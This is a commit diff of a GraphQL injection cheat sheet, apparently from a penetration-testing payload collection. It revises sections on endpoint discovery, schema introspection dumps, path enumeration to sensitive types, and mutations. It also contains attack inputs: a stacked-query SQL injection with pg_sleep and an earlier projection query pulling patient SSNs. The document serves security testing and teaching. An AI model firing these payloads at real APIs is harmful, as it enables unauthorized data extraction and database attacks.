Skip to content

Commit 3ca2ece

Browse files
committed
GraphQL update
1 parent 3b069f0 commit 3ca2ece

1 file changed

Lines changed: 131 additions & 37 deletions

File tree

GraphQL Injection/README.md

Lines changed: 131 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -11,11 +11,12 @@
1111
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
1212
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
1313
- [Enumerate Types Definition](#enumerate-types-definition)
14-
- [List Path To Reach A Type](#list-path-to-reach-a-type)
14+
- [Enumerating Paths to a Target Type](#enumerating-paths-to-a-target-type)
1515
- [Methodology](#methodology)
16-
- [Extract Data](#extract-data)
17-
- [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
18-
- [Extract Data Using Projections](#extract-data-using-projections)
16+
- [Queries](#queries)
17+
- [Basic Query](#basic-query)
18+
- [Query with Arguments](#query-with-arguments)
19+
- [Nested Queries](#nested-queries)
1920
- [Mutations](#mutations)
2021
- [GraphQL Batching Attacks](#graphql-batching-attacks)
2122
- [JSON List Based Batching](#json-list-based-batching)
@@ -46,8 +47,12 @@
4647

4748
### Common GraphQL Endpoints
4849

49-
Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
50-
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
50+
GraphQL endpoints are often exposed at predictable paths, most commonly:
51+
52+
- `/graphql`
53+
- `/graphiql` (interactive IDE)
54+
55+
You should always probe for both API and developer/debug interfaces.
5156

5257
```ps1
5358
/v1/explorer
@@ -60,12 +65,32 @@ A more complete list is available at [danielmiessler/SecLists/graphql.txt](https
6065
/graphiql.php
6166
```
6267

68+
For an extended wordlist, see [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
69+
6370
### Identify An Injection Point
6471

65-
```js
66-
example.com/graphql?query={__schema{types{name}}}
67-
example.com/graphiql?query={__schema{types{name}}}
68-
```
72+
> A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - [GraphQL Over HTTP](https://graphql.github.io/graphql-over-http/draft/#sec-Request)
73+
74+
- GET endpoint
75+
76+
```js
77+
GET /graphql?query={yourQueryHere}
78+
GET /graphql?query={__schema{types{name}}}
79+
GET /graphiql?query={__schema{types{name}}}
80+
GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
81+
```
82+
83+
- POST endpoint
84+
85+
```js
86+
POST /graphql/v1 HTTP/1.1
87+
Host: example.com
88+
Content-Type: application/json
89+
90+
{
91+
"query": "query { user { id name } }"
92+
}
93+
```
6994
7095
Check if errors are visible.
7196
@@ -77,6 +102,18 @@ Check if errors are visible.
77102
78103
### Enumerate Database Schema via Introspection
79104
105+
The GraphQL specification includes special fields, such as `__schema` and `__type`, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together.
106+
107+
An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not.
108+
109+
A minimal example looks like this:
110+
111+
```js
112+
{
113+
"query": "{ __schema { types { name } } }"
114+
}
115+
```
116+
80117
URL encoded query to dump the database schema.
81118
82119
```js
@@ -85,7 +122,7 @@ fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated
85122
86123
URL decoded query to dump the database schema.
87124
88-
```javascript
125+
```rs
89126
fragment FullType on __Type {
90127
kind
91128
name
@@ -184,11 +221,11 @@ query IntrospectionQuery {
184221
185222
Single line queries to dump the database schema without fragments.
186223
187-
```js
224+
```rs
188225
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
189226
```
190227
191-
```js
228+
```rs
192229
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
193230
```
194231
@@ -212,11 +249,16 @@ Enumerate the definition of interesting types using the following GraphQL query,
212249
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
213250
```
214251
215-
### List Path To Reach A Type
252+
### Enumerating Paths to a Target Type
253+
254+
When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like `User`, `Admin`, or `Payment`) may be reachable through multiple entry points and nested relationships.
255+
256+
- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Tool that lists the different ways of reaching a given type in a GraphQL schema.
257+
258+
This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.
216259
217260
```php
218-
$ git clone https://gitlab.com/dee-see/graphql-path-enum
219-
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
261+
graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
220262
Found 27 ways to reach the "Skill" node from the "Query" node:
221263
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
222264
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
@@ -237,47 +279,94 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
237279
238280
## Methodology
239281
240-
### Extract Data
282+
GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**.
283+
284+
### Queries
285+
286+
GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like `user`, `posts`, or `teams`) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.
287+
288+
#### Basic Query
289+
290+
The simplest query uses the shorthand syntax, where the `query` keyword is omitted. You just define the fields you want starting from the root object.
291+
292+
```js
293+
{
294+
user {
295+
id
296+
name
297+
}
298+
}
299+
```
300+
301+
This tells the server to return the `id` and `name` fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.
241302
242303
```js
243-
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
304+
query {
305+
user {
306+
id
307+
name
308+
}
309+
}
244310
```
245311
246312
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
247313
248-
### Extract Data Using Edges/Nodes
314+
#### Query with Arguments
249315
250-
```json
316+
To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.
317+
318+
```js
251319
{
252-
"query": "query {
253-
teams{
254-
total_count,edges{
255-
node{
256-
id,_id,about,handle,state
257-
}
258-
}
259-
}
260-
}"
261-
}
320+
user(id: "1") {
321+
name
322+
email
323+
}
324+
}
262325
```
263326
264-
### Extract Data Using Projections
327+
This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities.
265328
266-
:warning: Don’t forget to escape the " inside the **options**.
329+
#### Nested Queries
330+
331+
GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly.
267332
268333
```js
269-
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
334+
{
335+
user(id: "1") {
336+
name
337+
posts {
338+
title
339+
comments {
340+
content
341+
}
342+
}
343+
}
344+
}
270345
```
271346
272347
### Mutations
273348
274-
Mutations work like function, you can use them to interact with the GraphQL.
349+
A mutation is an operation used to change data on the server (create, update, or delete something).
350+
Mutations work like function, you can use them to interact with the GraphQL endpoint.
275351
276352
```javascript
277-
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
278-
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
353+
mutation{
354+
signIn(login:"Admin", password:"secretp@ssw0rd"){
355+
token
356+
}
357+
}
358+
359+
mutation{
360+
addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {
361+
id
362+
name
363+
email
364+
}
365+
}
279366
```
280367
368+
**Warning**: Mutations usually won't work with GET. [graphql/graphql-over-http, issue #123](https://github.com/graphql/graphql-over-http/issues/123)
369+
281370
### GraphQL Batching Attacks
282371
283372
Common scenario:
@@ -364,7 +453,12 @@ Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
364453
Simple SQL injection inside a GraphQL field.
365454
366455
```powershell
367-
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
456+
query {
457+
user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
458+
id
459+
email
460+
}
461+
}
368462
```
369463
370464
## Labs

0 commit comments

Comments
 (0)